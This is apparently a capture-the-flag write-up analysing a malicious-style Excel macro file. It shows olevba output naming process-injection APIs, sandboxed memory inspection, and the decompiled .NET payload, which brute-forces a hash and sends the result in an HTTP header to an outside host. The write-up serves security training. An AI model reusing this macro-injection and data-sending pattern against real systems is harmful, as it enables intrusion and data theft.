Keep Safe

Description

problem description

Solution

We got an Excel file, we should probably start from checking it for suspicious macros:

$ olevba attachment.xlsm
olevba 0.56.1 on Python 3.9.2 - http://decalage.info/python/oletools
===============================================================================
FILE: attachment.xlsm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO xl/macrosheets/sheet1.xml
in file: xl/macrosheets/sheet1.xml - OLE stream: ''
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|Suspicious|CreateThread        |May inject code into another process         |
|Suspicious|VirtualAlloc        |May inject code into another process         |
|Suspicious|WriteProcessMemory  |May inject code into another process         |
|Suspicious|REGISTER            |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|dua!                |64756121                                     |
|Suspicious|XLM macrosheet      |XLM macrosheet found. It could contain       |
|          |                    |malicious code                               |
+----------+--------------------+---------------------------------------------+

We can see that we should expect some code to be executed. So, we open the spreadsheet in a sandboxed environment and inspect it using Process Hacker:

We can see part of the flag! But we need to work a bit more to find the second part.

The code gets loaded to the RWX region in the memory:

We can dump it and extract a DLL file from it (the DLL starts with MZ). After identifying that it's a .NET binary, we can open it with dotPeek and inspect the code:

// Decompiled with JetBrains decompiler
// Type: msg
// Assembly: ____DIQAkPVPY, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: DD42786D-254A-4C72-B918-5EA7DD59D2FA
// Assembly location: C:\Users\yaakovco\Downloads\EXCEL.EXE.dll

using System.Net;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

public class msg
{
  public static void Main()
  {
    string str1 = "INTENT{The_flag_is_";
    string str2 = "}";
    char[] chArray = new char[52]
    {
      'a',
      'b',
      'c',
      'd',
      'e',
      'f',
      'g',
      'h',
      'i',
      'j',
      'k',
      'l',
      'm',
      'n',
      'o',
      'p',
      'q',
      'r',
      's',
      't',
      'u',
      'v',
      'w',
      'x',
      'y',
      'z',
      'A',
      'B',
      'C',
      'D',
      'E',
      'F',
      'G',
      'H',
      'I',
      'J',
      'K',
      'L',
      'M',
      'N',
      'O',
      'P',
      'Q',
      'R',
      'S',
      'T',
      'U',
      'V',
      'W',
      'X',
      'Y',
      'Z'
    };
    int num = (int) MessageBox.Show("Take your time !");
    using (WebClient webClient = new WebClient())
    {
      using (HashAlgorithm hashAlgorithm = (HashAlgorithm) SHA256.Create())
      {
        for (int index1 = 0; index1 < chArray.Length; ++index1)
        {
          for (int index2 = 0; index2 < chArray.Length; ++index2)
          {
            for (int index3 = 0; index3 < chArray.Length; ++index3)
            {
              for (int index4 = 0; index4 < chArray.Length; ++index4)
              {
                for (int index5 = 0; index5 < chArray.Length; ++index5)
                {
                  string s = "" + (object) chArray[index1] + (object) chArray[index2] + (object) chArray[index3] + (object) chArray[index4];
                  byte[] hash = hashAlgorithm.ComputeHash(Encoding.UTF8.GetBytes(s));
                  StringBuilder stringBuilder = new StringBuilder();
                  for (int index6 = 0; index6 < hash.Length; ++index6)
                    stringBuilder.Append(hash[index6].ToString("X2"));
                  if (stringBuilder.ToString().ToLower() == "ff3002704404bba237ae9e305f499701317f6735ecfd747d8a8b498de4a1a674")
                  {
                    webClient.Headers.Add(HttpRequestHeader.ContentType, str1 + s + str2);
                    webClient.DownloadString("http://google.co:5000");
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

The index5 loop seems redundant, if we just remove it and run the code we'll get the flag: INTENT{The_flag_is_galf}.